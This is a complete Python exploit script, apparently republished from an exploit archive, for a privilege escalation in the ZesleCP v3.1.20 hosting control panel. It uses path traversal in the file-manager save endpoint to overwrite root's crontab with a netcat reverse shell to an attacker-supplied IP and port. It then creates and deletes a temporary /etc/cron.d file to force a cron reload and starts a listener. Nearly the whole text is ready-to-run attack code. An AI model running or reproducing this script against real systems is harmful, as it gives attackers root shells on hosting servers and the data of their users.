Share
## https://sploitus.com/exploit?id=PACKETSTORM:189691
# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation
    # Exploit Author: Ahmet รœmit BAYRAM
    # Date: 09.11.2024
    # Vendor Homepage: https://zeslecp.com
    # Tested on: Ubuntu 20.04
    
    # Privilege Escalation Exploit for ZesleCP Hosting Control Panel
    # This exploit leverages a path traversal vulnerability in the file editing
    functionality of the ZesleCP file manager.
    # The exploit utilizes this vulnerability to modify the root user's cron
    file, creating a cron job that runs with root privileges.
    # Although edited with user-level privileges, files manipulated through the
    'file_path' parameter retain their original ownership.
    # This allows unauthorized editing of root-owned files, such as the cron
    file located in `/var/spool/cron/crontabs/root`.
    # The exploit places a reverse shell payload in this file to establish a
    reverse shell connection to the attacker's specified IP and port.
    # Since the cron service requires a restart to run the new job, the exploit
    creates and then deletes a temporary cron job in the `/etc/cron.d`
    directory.
    # This process triggers a cron service refresh, enabling the reverse shell
    command to execute successfully.
    
    import requests
    from requests.sessions import Session
    import subprocess
    import urllib3
    import time
    
    # Disable SSL Warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Get user input
    host = input("Enter ZesleCP IP address: ")
    zeslecp_port = input("Enter ZesleCP port (default 2087): ")
    zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port)
    username = input("Enter username: ")
    password = input("Enter password: ")
    reverse_ip = input("Enter your reverse shell IP address: ")
    reverse_port = int(input("Enter your reverse shell port: "))
    
    # URL settings
    login_url = f"https://{host}:{zeslecp_port}/login"
    save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file"
    trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash"
    
    # Start session
    session = Session()
    session.verify = False # Ignore SSL warnings
    
    def login():
    headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*"
    }
    data = {
    "username": username,
    "password": password,
    "locale": ""
    }
    response = session.post(login_url, headers=headers, json=data)
    if response.status_code == 200 and "zeslecp_session" in response.cookies:
    print("[+] Login successful.")
    session.cookies.update(response.cookies)
    return True
    else:
    print("[-] Login failed.")
    return False
    
    def create_temp_cron_file():
    # Create a temporary cron file to trigger cron refresh
    temp_cron_payload = (
    "# Temporary cron file for triggering reload\n"
    "* * * * * echo 'temp' > /dev/null\n"
    )
    data = {
    "file_path": "../../../../../../etc/cron.d/temp_trigger",
    "data": temp_cron_payload
    }
    headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    response = session.post(save_file_url, headers=headers, json=data)
    if response.status_code == 200:
    print("[+] Temporary cron file created successfully.")
    return True
    else:
    print("[-] Failed to create temporary cron file.")
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    return False
    
    def delete_temp_cron_file():
    # Delete the temporary cron file
    data = {
    "files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type":
    "file"}]
    }
    headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    response = session.post(trash_file_url, headers=headers, json=data)
    if response.status_code == 200:
    print("[+] Temporary cron file deleted successfully.")
    return True
    else:
    print("[-] Failed to delete temporary cron file.")
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    return False
    
    def modify_cron_for_reverse_shell():
    cron_payload = (
    "# DO NOT EDIT THIS FILE - edit the master and reinstall.\n"
    "MAILTO=\"\"\n"
    f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {
    reverse_ip} {reverse_port} >/tmp/f\n\n"
    )
    data = {
    "file_path": "../../../../../../var/spool/cron/crontabs/root",
    "data": cron_payload
    }
    headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "Referer": f"https://{host}:{zeslecp_port}/file-manager",
    }
    response = session.post(save_file_url, headers=headers, json=data)
    if response.status_code == 200:
    print("[+] Cron job with reverse shell added successfully.")
    return True
    else:
    print("[-] Failed to modify cron file.")
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
    return False
    
    # Start listener with verbose output
    def start_listener():
    print(f"[+] Starting reverse shell listener on port {reverse_port}...")
    listener_command = f"nc -vv -l -p {reverse_port} -n"
    subprocess.run(listener_command, shell=True)
    
    def main():
    if not login():
    exit(1)
    
    if modify_cron_for_reverse_shell():
    if create_temp_cron_file():
    time.sleep(2) # Wait 2 seconds after creating the file
    if delete_temp_cron_file():
    print("[+] Cron should now be refreshed, and reverse shell job active.")
    start_listener() # Start listener after cron reload is triggered
    
    if __name__ == "__main__":
    main()